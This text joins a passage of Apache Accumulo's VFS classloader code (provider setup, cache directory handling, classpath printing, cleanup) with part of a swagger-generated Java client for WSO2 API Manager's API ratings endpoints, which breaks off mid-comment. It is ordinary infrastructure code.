if (vfsCP.length == 0) {
localLoader = createDynamicClassloader(parent);
loader = localLoader;
return localLoader.getClassLoader();
}
// Create the Accumulo Context ClassLoader using the DEFAULT_CONTEXT
localLoader = createDynamicClassloader(new VFSClassLoader(vfsCP, vfs, parent));
loader = localLoader;
// An HDFS FileSystem and Configuration object were created for each unique HDFS namespace in the call to resolve above.
// The HDFS Client did us a favor and cached these objects so that the next time someone calls FileSystem.get(uri), they
// get the cached object. However, these objects were created not with the system VFS classloader, but the classloader above
// it. We need to override the classloader on the Configuration objects. Ran into an issue were log recovery was being attempted
// and SequenceFile$Reader was trying to instantiate the key class via WritableName.getClass(String, Configuration)
for (FileObject fo : vfsCP) {
if (fo instanceof HdfsFileObject) {
String uri = fo.getName().getRootURI();
Configuration c = new Configuration(true);
c.set(FileSystem.FS_DEFAULT_NAME_KEY, uri);
FileSystem fs = FileSystem.get(c);
fs.getConf().setClassLoader(loader.getClassLoader());
}
}
}
}
}
return localLoader.getClassLoader();
}
public static FileSystemManager generateVfs() throws FileSystemException {
DefaultFileSystemManager vfs = new DefaultFileSystemManager();
vfs.addProvider("res", new org.apache.commons.vfs2.provider.res.ResourceFileProvider());
vfs.addProvider("zip", new org.apache.commons.vfs2.provider.zip.ZipFileProvider());
vfs.addProvider("gz", new org.apache.commons.vfs2.provider.gzip.GzipFileProvider());
vfs.addProvider("ram", new org.apache.commons.vfs2.provider.ram.RamFileProvider());
vfs.addProvider("file", new org.apache.commons.vfs2.provider.local.DefaultLocalFileProvider());
vfs.addProvider("jar", new org.apache.commons.vfs2.provider.jar.JarFileProvider());
vfs.addProvider("http", new org.apache.commons.vfs2.provider.http.HttpFileProvider());
vfs.addProvider("https", new org.apache.commons.vfs2.provider.https.HttpsFileProvider());
vfs.addProvider("ftp", new org.apache.commons.vfs2.provider.ftp.FtpFileProvider());
vfs.addProvider("ftps", new org.apache.commons.vfs2.provider.ftps.FtpsFileProvider());
vfs.addProvider("war", new org.apache.commons.vfs2.provider.jar.JarFileProvider());
vfs.addProvider("par", new org.apache.commons.vfs2.provider.jar.JarFileProvider());
vfs.addProvider("ear", new org.apache.commons.vfs2.provider.jar.JarFileProvider());
vfs.addProvider("sar", new org.apache.commons.vfs2.provider.jar.JarFileProvider());
vfs.addProvider("ejb3", new org.apache.commons.vfs2.provider.jar.JarFileProvider());
vfs.addProvider("tmp", new org.apache.commons.vfs2.provider.temp.TemporaryFileProvider());
vfs.addProvider("tar", new org.apache.commons.vfs2.provider.tar.TarFileProvider());
vfs.addProvider("tbz2", new org.apache.commons.vfs2.provider.tar.TarFileProvider());
vfs.addProvider("tgz", new org.apache.commons.vfs2.provider.tar.TarFileProvider());
vfs.addProvider("bz2", new org.apache.commons.vfs2.provider.bzip2.Bzip2FileProvider());
vfs.addProvider("hdfs", new HdfsFileProvider());
vfs.addExtensionMap("jar", "jar");
vfs.addExtensionMap("zip", "zip");
vfs.addExtensionMap("gz", "gz");
vfs.addExtensionMap("tar", "tar");
vfs.addExtensionMap("tbz2", "tar");
vfs.addExtensionMap("tgz", "tar");
vfs.addExtensionMap("bz2", "bz2");
vfs.addMimeTypeMap("application/x-tar", "tar");
vfs.addMimeTypeMap("application/x-gzip", "gz");
vfs.addMimeTypeMap("application/zip", "zip");
vfs.setFileContentInfoFactory(new FileContentInfoFilenameFactory());
vfs.setFilesCache(new SoftRefFilesCache());
File cacheDir = computeTopCacheDir();
vfs.setReplicator(new UniqueFileReplicator(cacheDir));
vfs.setCacheStrategy(CacheStrategy.ON_RESOLVE);
vfs.init();
vfsInstances.add(new WeakReference<>(vfs));
return vfs;
}
private static File computeTopCacheDir() {
String cacheDirPath = AccumuloClassLoader.getAccumuloString(VFS_CACHE_DIR, System.getProperty("java.io.tmpdir"));
String procName = ManagementFactory.getRuntimeMXBean().getName();
return new File(cacheDirPath, "accumulo-vfs-cache-" + procName + "-" + System.getProperty("user.name", "nouser"));
}
public interface Printer {
void print(String s);
}
public static void printClassPath() {
printClassPath(new Printer() {
@Override
public void print(String s) {
System.out.println(s);
}
});
}
public static void printClassPath(Printer out) {
try {
ClassLoader cl = getClassLoader();
ArrayList<ClassLoader> classloaders = new ArrayList<>();
while (cl != null) {
classloaders.add(cl);
cl = cl.getParent();
}
Collections.reverse(classloaders);
int level = 0;
for (ClassLoader classLoader : classloaders) {
if (level > 0)
out.print("");
level++;
String classLoaderDescription;
switch (level) {
case 1:
classLoaderDescription = level + ": Java System Classloader (loads Java system resources)";
break;
case 2:
classLoaderDescription = level + ": Java Classloader (loads everything defined by java classpath)";
break;
case 3:
classLoaderDescription = level + ": Accumulo Classloader (loads everything defined by general.classpaths)";
break;
case 4:
classLoaderDescription = level + ": Accumulo Dynamic Classloader (loads everything defined by general.dynamic.classpaths)";
break;
default:
classLoaderDescription = level + ": Mystery Classloader (someone probably added a classloader and didn't update the switch statement in "
+ AccumuloVFSClassLoader.class.getName() + ")";
break;
}
if (classLoader instanceof URLClassLoader) {
// If VFS class loader enabled, but no contexts defined.
out.print("Level " + classLoaderDescription + " URL classpath items are:");
for (URL u : ((URLClassLoader) classLoader).getURLs()) {
out.print("\t" + u.toExternalForm());
}
} else if (classLoader instanceof VFSClassLoader) {
out.print("Level " + classLoaderDescription + " VFS classpaths items are:");
VFSClassLoader vcl = (VFSClassLoader) classLoader;
for (FileObject f : vcl.getFileObjects()) {
out.print("\t" + f.getURL().toExternalForm());
}
} else {
out.print("Unknown classloader configuration " + classLoader.getClass());
}
}
} catch (Throwable t) {
throw new RuntimeException(t);
}
}
public static synchronized ContextManager getContextManager() throws IOException {
if (contextManager == null) {
getClassLoader();
contextManager = new ContextManager(generateVfs(), new ReloadingClassLoader() {
@Override
public ClassLoader getClassLoader() {
try {
return AccumuloVFSClassLoader.getClassLoader();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
});
}
return contextManager;
}
public static void close() {
for (WeakReference<DefaultFileSystemManager> vfsInstance : vfsInstances) {
DefaultFileSystemManager ref = vfsInstance.get();
if (ref != null) {
FileReplicator replicator;
try {
replicator = ref.getReplicator();
if (replicator instanceof UniqueFileReplicator) {
((UniqueFileReplicator) replicator).close();
}
} catch (FileSystemException e) {
log.error("FileSystemException", e);
}
ref.close();
}
}
try {
FileUtils.deleteDirectory(computeTopCacheDir());
} catch (IOException e) {
log.error("IOException", e);
}
}
}
| |
/*
* WSO2 API Manager - Store
* This document specifies a **RESTful API** for WSO2 **API Manager** - Store. It is written with [swagger 2](http://swagger.io/).
*
* OpenAPI spec version: v1.1
* Contact: architecture@wso2.com
*
* NOTE: This class is auto generated by the swagger code generator program.
* https://github.com/swagger-api/swagger-codegen.git
* Do not edit the class manually.
*/
package org.wso2.am.integration.clients.store.api.v1;
import org.wso2.am.integration.clients.store.api.ApiCallback;
import org.wso2.am.integration.clients.store.api.ApiClient;
import org.wso2.am.integration.clients.store.api.ApiException;
import org.wso2.am.integration.clients.store.api.ApiResponse;
import org.wso2.am.integration.clients.store.api.Configuration;
import org.wso2.am.integration.clients.store.api.Pair;
import org.wso2.am.integration.clients.store.api.ProgressRequestBody;
import org.wso2.am.integration.clients.store.api.ProgressResponseBody;
import com.google.gson.reflect.TypeToken;
import java.io.IOException;
import org.wso2.am.integration.clients.store.api.v1.dto.ErrorDTO;
import org.wso2.am.integration.clients.store.api.v1.dto.RatingDTO;
import org.wso2.am.integration.clients.store.api.v1.dto.RatingListDTO;
import java.lang.reflect.Type;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class RatingsApi {
private ApiClient apiClient;
public RatingsApi() {
this(Configuration.getDefaultApiClient());
}
public RatingsApi(ApiClient apiClient) {
this.apiClient = apiClient;
}
public ApiClient getApiClient() {
return apiClient;
}
public void setApiClient(ApiClient apiClient) {
this.apiClient = apiClient;
}
/**
* Build call for apisApiIdRatingsGet
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param limit Maximum size of resource array to return. (optional, default to 25)
* @param offset Starting point within the complete list of items qualified. (optional, default to 0)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param progressListener Progress listener
* @param progressRequestListener Progress request listener
* @return Call to execute
* @throws ApiException If fail to serialize the request body object
*/
public com.squareup.okhttp.Call apisApiIdRatingsGetCall(String apiId, Integer limit, Integer offset, String xWSO2Tenant, final ProgressResponseBody.ProgressListener progressListener, final ProgressRequestBody.ProgressRequestListener progressRequestListener) throws ApiException {
Object localVarPostBody = null;
// create path and map variables
String localVarPath = "/apis/{apiId}/ratings"
.replaceAll("\\{" + "apiId" + "\\}", apiClient.escapeString(apiId.toString()));
List<Pair> localVarQueryParams = new ArrayList<Pair>();
List<Pair> localVarCollectionQueryParams = new ArrayList<Pair>();
if (limit != null)
localVarQueryParams.addAll(apiClient.parameterToPair("limit", limit));
if (offset != null)
localVarQueryParams.addAll(apiClient.parameterToPair("offset", offset));
Map<String, String> localVarHeaderParams = new HashMap<String, String>();
if (xWSO2Tenant != null)
localVarHeaderParams.put("X-WSO2-Tenant", apiClient.parameterToString(xWSO2Tenant));
Map<String, Object> localVarFormParams = new HashMap<String, Object>();
final String[] localVarAccepts = {
"application/json"
};
final String localVarAccept = apiClient.selectHeaderAccept(localVarAccepts);
if (localVarAccept != null) localVarHeaderParams.put("Accept", localVarAccept);
final String[] localVarContentTypes = {
"application/json"
};
final String localVarContentType = apiClient.selectHeaderContentType(localVarContentTypes);
localVarHeaderParams.put("Content-Type", localVarContentType);
if(progressListener != null) {
apiClient.getHttpClient().networkInterceptors().add(new com.squareup.okhttp.Interceptor() {
@Override
public com.squareup.okhttp.Response intercept(com.squareup.okhttp.Interceptor.Chain chain) throws IOException {
com.squareup.okhttp.Response originalResponse = chain.proceed(chain.request());
return originalResponse.newBuilder()
.body(new ProgressResponseBody(originalResponse.body(), progressListener))
.build();
}
});
}
String[] localVarAuthNames = new String[] { "OAuth2Security" };
return apiClient.buildCall(localVarPath, "GET", localVarQueryParams, localVarCollectionQueryParams, localVarPostBody, localVarHeaderParams, localVarFormParams, localVarAuthNames, progressRequestListener);
}
@SuppressWarnings("rawtypes")
private com.squareup.okhttp.Call apisApiIdRatingsGetValidateBeforeCall(String apiId, Integer limit, Integer offset, String xWSO2Tenant, final ProgressResponseBody.ProgressListener progressListener, final ProgressRequestBody.ProgressRequestListener progressRequestListener) throws ApiException {
// verify the required parameter 'apiId' is set
if (apiId == null) {
throw new ApiException("Missing the required parameter 'apiId' when calling apisApiIdRatingsGet(Async)");
}
com.squareup.okhttp.Call call = apisApiIdRatingsGetCall(apiId, limit, offset, xWSO2Tenant, progressListener, progressRequestListener);
return call;
}
/**
* Retrieve API ratings
* This operation can be used to retrieve the list of ratings of an API. `X-WSO2-Tenant` header can be used to retrieve ratings of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param limit Maximum size of resource array to return. (optional, default to 25)
* @param offset Starting point within the complete list of items qualified. (optional, default to 0)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @return RatingListDTO
* @throws ApiException If fail to call the API, e.g. server error or cannot deserialize the response body
*/
public RatingListDTO apisApiIdRatingsGet(String apiId, Integer limit, Integer offset, String xWSO2Tenant) throws ApiException {
ApiResponse<RatingListDTO> resp = apisApiIdRatingsGetWithHttpInfo(apiId, limit, offset, xWSO2Tenant);
return resp.getData();
}
/**
* Retrieve API ratings
* This operation can be used to retrieve the list of ratings of an API. `X-WSO2-Tenant` header can be used to retrieve ratings of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param limit Maximum size of resource array to return. (optional, default to 25)
* @param offset Starting point within the complete list of items qualified. (optional, default to 0)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @return ApiResponse<RatingListDTO>
* @throws ApiException If fail to call the API, e.g. server error or cannot deserialize the response body
*/
public ApiResponse<RatingListDTO> apisApiIdRatingsGetWithHttpInfo(String apiId, Integer limit, Integer offset, String xWSO2Tenant) throws ApiException {
com.squareup.okhttp.Call call = apisApiIdRatingsGetValidateBeforeCall(apiId, limit, offset, xWSO2Tenant, null, null);
Type localVarReturnType = new TypeToken<RatingListDTO>(){}.getType();
return apiClient.execute(call, localVarReturnType);
}
/**
* Retrieve API ratings (asynchronously)
* This operation can be used to retrieve the list of ratings of an API. `X-WSO2-Tenant` header can be used to retrieve ratings of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param limit Maximum size of resource array to return. (optional, default to 25)
* @param offset Starting point within the complete list of items qualified. (optional, default to 0)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param callback The callback to be executed when the API call finishes
* @return The request call
* @throws ApiException If fail to process the API call, e.g. serializing the request body object
*/
public com.squareup.okhttp.Call apisApiIdRatingsGetAsync(String apiId, Integer limit, Integer offset, String xWSO2Tenant, final ApiCallback<RatingListDTO> callback) throws ApiException {
ProgressResponseBody.ProgressListener progressListener = null;
ProgressRequestBody.ProgressRequestListener progressRequestListener = null;
if (callback != null) {
progressListener = new ProgressResponseBody.ProgressListener() {
@Override
public void update(long bytesRead, long contentLength, boolean done) {
callback.onDownloadProgress(bytesRead, contentLength, done);
}
};
progressRequestListener = new ProgressRequestBody.ProgressRequestListener() {
@Override
public void onRequestProgress(long bytesWritten, long contentLength, boolean done) {
callback.onUploadProgress(bytesWritten, contentLength, done);
}
};
}
com.squareup.okhttp.Call call = apisApiIdRatingsGetValidateBeforeCall(apiId, limit, offset, xWSO2Tenant, progressListener, progressRequestListener);
Type localVarReturnType = new TypeToken<RatingListDTO>(){}.getType();
apiClient.executeAsync(call, localVarReturnType, callback);
return call;
}
/**
* Build call for apisApiIdUserRatingDelete
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param ifMatch Validator for conditional requests; based on ETag. (optional)
* @param progressListener Progress listener
* @param progressRequestListener Progress request listener
* @return Call to execute
* @throws ApiException If fail to serialize the request body object
*/
public com.squareup.okhttp.Call apisApiIdUserRatingDeleteCall(String apiId, String xWSO2Tenant, String ifMatch, final ProgressResponseBody.ProgressListener progressListener, final ProgressRequestBody.ProgressRequestListener progressRequestListener) throws ApiException {
Object localVarPostBody = null;
// create path and map variables
String localVarPath = "/apis/{apiId}/user-rating"
.replaceAll("\\{" + "apiId" + "\\}", apiClient.escapeString(apiId.toString()));
List<Pair> localVarQueryParams = new ArrayList<Pair>();
List<Pair> localVarCollectionQueryParams = new ArrayList<Pair>();
Map<String, String> localVarHeaderParams = new HashMap<String, String>();
if (xWSO2Tenant != null)
localVarHeaderParams.put("X-WSO2-Tenant", apiClient.parameterToString(xWSO2Tenant));
if (ifMatch != null)
localVarHeaderParams.put("If-Match", apiClient.parameterToString(ifMatch));
Map<String, Object> localVarFormParams = new HashMap<String, Object>();
final String[] localVarAccepts = {
"application/json"
};
final String localVarAccept = apiClient.selectHeaderAccept(localVarAccepts);
if (localVarAccept != null) localVarHeaderParams.put("Accept", localVarAccept);
final String[] localVarContentTypes = {
"application/json"
};
final String localVarContentType = apiClient.selectHeaderContentType(localVarContentTypes);
localVarHeaderParams.put("Content-Type", localVarContentType);
if(progressListener != null) {
apiClient.getHttpClient().networkInterceptors().add(new com.squareup.okhttp.Interceptor() {
@Override
public com.squareup.okhttp.Response intercept(com.squareup.okhttp.Interceptor.Chain chain) throws IOException {
com.squareup.okhttp.Response originalResponse = chain.proceed(chain.request());
return originalResponse.newBuilder()
.body(new ProgressResponseBody(originalResponse.body(), progressListener))
.build();
}
});
}
String[] localVarAuthNames = new String[] { "OAuth2Security" };
return apiClient.buildCall(localVarPath, "DELETE", localVarQueryParams, localVarCollectionQueryParams, localVarPostBody, localVarHeaderParams, localVarFormParams, localVarAuthNames, progressRequestListener);
}
@SuppressWarnings("rawtypes")
private com.squareup.okhttp.Call apisApiIdUserRatingDeleteValidateBeforeCall(String apiId, String xWSO2Tenant, String ifMatch, final ProgressResponseBody.ProgressListener progressListener, final ProgressRequestBody.ProgressRequestListener progressRequestListener) throws ApiException {
// verify the required parameter 'apiId' is set
if (apiId == null) {
throw new ApiException("Missing the required parameter 'apiId' when calling apisApiIdUserRatingDelete(Async)");
}
com.squareup.okhttp.Call call = apisApiIdUserRatingDeleteCall(apiId, xWSO2Tenant, ifMatch, progressListener, progressRequestListener);
return call;
}
/**
* Delete user API rating
* This operation can be used to delete logged in user API rating. `X-WSO2-Tenant` header can be used to delete the logged in user rating of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param ifMatch Validator for conditional requests; based on ETag. (optional)
* @throws ApiException If fail to call the API, e.g. server error or cannot deserialize the response body
*/
public void apisApiIdUserRatingDelete(String apiId, String xWSO2Tenant, String ifMatch) throws ApiException {
apisApiIdUserRatingDeleteWithHttpInfo(apiId, xWSO2Tenant, ifMatch);
}
/**
* Delete user API rating
* This operation can be used to delete logged in user API rating. `X-WSO2-Tenant` header can be used to delete the logged in user rating of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param ifMatch Validator for conditional requests; based on ETag. (optional)
* @return ApiResponse<Void>
* @throws ApiException If fail to call the API, e.g. server error or cannot deserialize the response body
*/
public ApiResponse<Void> apisApiIdUserRatingDeleteWithHttpInfo(String apiId, String xWSO2Tenant, String ifMatch) throws ApiException {
com.squareup.okhttp.Call call = apisApiIdUserRatingDeleteValidateBeforeCall(apiId, xWSO2Tenant, ifMatch, null, null);
return apiClient.execute(call);
}
/**
* Delete user API rating (asynchronously)
* This operation can be used to delete logged in user API rating. `X-WSO2-Tenant` header can be used to delete the logged in user rating of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param ifMatch Validator for conditional requests; based on ETag. (optional)
* @param callback The callback to be executed when the API call finishes
* @return The request call
* @throws ApiException If fail to process the API call, e.g. serializing the request body object
*/
public com.squareup.okhttp.Call apisApiIdUserRatingDeleteAsync(String apiId, String xWSO2Tenant, String ifMatch, final ApiCallback<Void> callback) throws ApiException {
ProgressResponseBody.ProgressListener progressListener = null;
ProgressRequestBody.ProgressRequestListener progressRequestListener = null;
if (callback != null) {
progressListener = new ProgressResponseBody.ProgressListener() {
@Override
public void update(long bytesRead, long contentLength, boolean done) {
callback.onDownloadProgress(bytesRead, contentLength, done);
}
};
progressRequestListener = new ProgressRequestBody.ProgressRequestListener() {
@Override
public void onRequestProgress(long bytesWritten, long contentLength, boolean done) {
callback.onUploadProgress(bytesWritten, contentLength, done);
}
};
}
com.squareup.okhttp.Call call = apisApiIdUserRatingDeleteValidateBeforeCall(apiId, xWSO2Tenant, ifMatch, progressListener, progressRequestListener);
apiClient.executeAsync(call, callback);
return call;
}
/**
* Build call for apisApiIdUserRatingGet
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param ifNoneMatch Validator for conditional requests; based on the ETag of the formerly retrieved variant of the resourec. (optional)
* @param progressListener Progress listener
* @param progressRequestListener Progress request listener
* @return Call to execute
* @throws ApiException If fail to serialize the request body object
*/
public com.squareup.okhttp.Call apisApiIdUserRatingGetCall(String apiId, String xWSO2Tenant, String ifNoneMatch, final ProgressResponseBody.ProgressListener progressListener, final ProgressRequestBody.ProgressRequestListener progressRequestListener) throws ApiException {
Object localVarPostBody = null;
// create path and map variables
String localVarPath = "/apis/{apiId}/user-rating"
.replaceAll("\\{" + "apiId" + "\\}", apiClient.escapeString(apiId.toString()));
List<Pair> localVarQueryParams = new ArrayList<Pair>();
List<Pair> localVarCollectionQueryParams = new ArrayList<Pair>();
Map<String, String> localVarHeaderParams = new HashMap<String, String>();
if (xWSO2Tenant != null)
localVarHeaderParams.put("X-WSO2-Tenant", apiClient.parameterToString(xWSO2Tenant));
if (ifNoneMatch != null)
localVarHeaderParams.put("If-None-Match", apiClient.parameterToString(ifNoneMatch));
Map<String, Object> localVarFormParams = new HashMap<String, Object>();
final String[] localVarAccepts = {
"application/json"
};
final String localVarAccept = apiClient.selectHeaderAccept(localVarAccepts);
if (localVarAccept != null) localVarHeaderParams.put("Accept", localVarAccept);
final String[] localVarContentTypes = {
"application/json"
};
final String localVarContentType = apiClient.selectHeaderContentType(localVarContentTypes);
localVarHeaderParams.put("Content-Type", localVarContentType);
if(progressListener != null) {
apiClient.getHttpClient().networkInterceptors().add(new com.squareup.okhttp.Interceptor() {
@Override
public com.squareup.okhttp.Response intercept(com.squareup.okhttp.Interceptor.Chain chain) throws IOException {
com.squareup.okhttp.Response originalResponse = chain.proceed(chain.request());
return originalResponse.newBuilder()
.body(new ProgressResponseBody(originalResponse.body(), progressListener))
.build();
}
});
}
String[] localVarAuthNames = new String[] { "OAuth2Security" };
return apiClient.buildCall(localVarPath, "GET", localVarQueryParams, localVarCollectionQueryParams, localVarPostBody, localVarHeaderParams, localVarFormParams, localVarAuthNames, progressRequestListener);
}
@SuppressWarnings("rawtypes")
private com.squareup.okhttp.Call apisApiIdUserRatingGetValidateBeforeCall(String apiId, String xWSO2Tenant, String ifNoneMatch, final ProgressResponseBody.ProgressListener progressListener, final ProgressRequestBody.ProgressRequestListener progressRequestListener) throws ApiException {
// verify the required parameter 'apiId' is set
if (apiId == null) {
throw new ApiException("Missing the required parameter 'apiId' when calling apisApiIdUserRatingGet(Async)");
}
com.squareup.okhttp.Call call = apisApiIdUserRatingGetCall(apiId, xWSO2Tenant, ifNoneMatch, progressListener, progressRequestListener);
return call;
}
/**
* Retrieve API rating of user
* This operation can be used to get the user rating of an API. `X-WSO2-Tenant` header can be used to retrieve the logged in user rating of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param ifNoneMatch Validator for conditional requests; based on the ETag of the formerly retrieved variant of the resourec. (optional)
* @return RatingDTO
* @throws ApiException If fail to call the API, e.g. server error or cannot deserialize the response body
*/
public RatingDTO apisApiIdUserRatingGet(String apiId, String xWSO2Tenant, String ifNoneMatch) throws ApiException {
ApiResponse<RatingDTO> resp = apisApiIdUserRatingGetWithHttpInfo(apiId, xWSO2Tenant, ifNoneMatch);
return resp.getData();
}
/**
* Retrieve API rating of user
* This operation can be used to get the user rating of an API. `X-WSO2-Tenant` header can be used to retrieve the logged in user rating of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param ifNoneMatch Validator for conditional requests; based on the ETag of the formerly retrieved variant of the resourec. (optional)
* @return ApiResponse<RatingDTO>
* @throws ApiException If fail to call the API, e.g. server error or cannot deserialize the response body
*/
public ApiResponse<RatingDTO> apisApiIdUserRatingGetWithHttpInfo(String apiId, String xWSO2Tenant, String ifNoneMatch) throws ApiException {
com.squareup.okhttp.Call call = apisApiIdUserRatingGetValidateBeforeCall(apiId, xWSO2Tenant, ifNoneMatch, null, null);
Type localVarReturnType = new TypeToken<RatingDTO>(){}.getType();
return apiClient.execute(call, localVarReturnType);
}
/**
* Retrieve API rating of user (asynchronously)
* This operation can be used to get the user rating of an API. `X-WSO2-Tenant` header can be used to retrieve the logged in user rating of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param ifNoneMatch Validator for conditional requests; based on the ETag of the formerly retrieved variant of the resourec. (optional)
* @param callback The callback to be executed when the API call finishes
* @return The request call
* @throws ApiException If fail to process the API call, e.g. serializing the request body object
*/
public com.squareup.okhttp.Call apisApiIdUserRatingGetAsync(String apiId, String xWSO2Tenant, String ifNoneMatch, final ApiCallback<RatingDTO> callback) throws ApiException {
ProgressResponseBody.ProgressListener progressListener = null;
ProgressRequestBody.ProgressRequestListener progressRequestListener = null;
if (callback != null) {
progressListener = new ProgressResponseBody.ProgressListener() {
@Override
public void update(long bytesRead, long contentLength, boolean done) {
callback.onDownloadProgress(bytesRead, contentLength, done);
}
};
progressRequestListener = new ProgressRequestBody.ProgressRequestListener() {
@Override
public void onRequestProgress(long bytesWritten, long contentLength, boolean done) {
callback.onUploadProgress(bytesWritten, contentLength, done);
}
};
}
com.squareup.okhttp.Call call = apisApiIdUserRatingGetValidateBeforeCall(apiId, xWSO2Tenant, ifNoneMatch, progressListener, progressRequestListener);
Type localVarReturnType = new TypeToken<RatingDTO>(){}.getType();
apiClient.executeAsync(call, localVarReturnType, callback);
return call;
}
/**
* Build call for apisApiIdUserRatingPut
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param body Rating object that should to be added (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param progressListener Progress listener
* @param progressRequestListener Progress request listener
* @return Call to execute
* @throws ApiException If fail to serialize the request body object
*/
public com.squareup.okhttp.Call apisApiIdUserRatingPutCall(String apiId, RatingDTO body, String xWSO2Tenant, final ProgressResponseBody.ProgressListener progressListener, final ProgressRequestBody.ProgressRequestListener progressRequestListener) throws ApiException {
Object localVarPostBody = body;
// create path and map variables
String localVarPath = "/apis/{apiId}/user-rating"
.replaceAll("\\{" + "apiId" + "\\}", apiClient.escapeString(apiId.toString()));
List<Pair> localVarQueryParams = new ArrayList<Pair>();
List<Pair> localVarCollectionQueryParams = new ArrayList<Pair>();
Map<String, String> localVarHeaderParams = new HashMap<String, String>();
if (xWSO2Tenant != null)
localVarHeaderParams.put("X-WSO2-Tenant", apiClient.parameterToString(xWSO2Tenant));
Map<String, Object> localVarFormParams = new HashMap<String, Object>();
final String[] localVarAccepts = {
"application/json"
};
final String localVarAccept = apiClient.selectHeaderAccept(localVarAccepts);
if (localVarAccept != null) localVarHeaderParams.put("Accept", localVarAccept);
final String[] localVarContentTypes = {
"application/json"
};
final String localVarContentType = apiClient.selectHeaderContentType(localVarContentTypes);
localVarHeaderParams.put("Content-Type", localVarContentType);
if(progressListener != null) {
apiClient.getHttpClient().networkInterceptors().add(new com.squareup.okhttp.Interceptor() {
@Override
public com.squareup.okhttp.Response intercept(com.squareup.okhttp.Interceptor.Chain chain) throws IOException {
com.squareup.okhttp.Response originalResponse = chain.proceed(chain.request());
return originalResponse.newBuilder()
.body(new ProgressResponseBody(originalResponse.body(), progressListener))
.build();
}
});
}
String[] localVarAuthNames = new String[] { "OAuth2Security" };
return apiClient.buildCall(localVarPath, "PUT", localVarQueryParams, localVarCollectionQueryParams, localVarPostBody, localVarHeaderParams, localVarFormParams, localVarAuthNames, progressRequestListener);
}
@SuppressWarnings("rawtypes")
private com.squareup.okhttp.Call apisApiIdUserRatingPutValidateBeforeCall(String apiId, RatingDTO body, String xWSO2Tenant, final ProgressResponseBody.ProgressListener progressListener, final ProgressRequestBody.ProgressRequestListener progressRequestListener) throws ApiException {
// verify the required parameter 'apiId' is set
if (apiId == null) {
throw new ApiException("Missing the required parameter 'apiId' when calling apisApiIdUserRatingPut(Async)");
}
// verify the required parameter 'body' is set
if (body == null) {
throw new ApiException("Missing the required parameter 'body' when calling apisApiIdUserRatingPut(Async)");
}
com.squareup.okhttp.Call call = apisApiIdUserRatingPutCall(apiId, body, xWSO2Tenant, progressListener, progressRequestListener);
return call;
}
/**
* Add or update logged in user's rating for an API
* This operation can be used to add or update an API rating. `X-WSO2-Tenant` header can be used to add or update the logged in user rating of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param body Rating object that should to be added (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @return RatingDTO
* @throws ApiException If fail to call the API, e.g. server error or cannot deserialize the response body
*/
public RatingDTO apisApiIdUserRatingPut(String apiId, RatingDTO body, String xWSO2Tenant) throws ApiException {
ApiResponse<RatingDTO> resp = apisApiIdUserRatingPutWithHttpInfo(apiId, body, xWSO2Tenant);
return resp.getData();
}
/**
* Add or update logged in user's rating for an API
* This operation can be used to add or update an API rating. `X-WSO2-Tenant` header can be used to add or update the logged in user rating of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
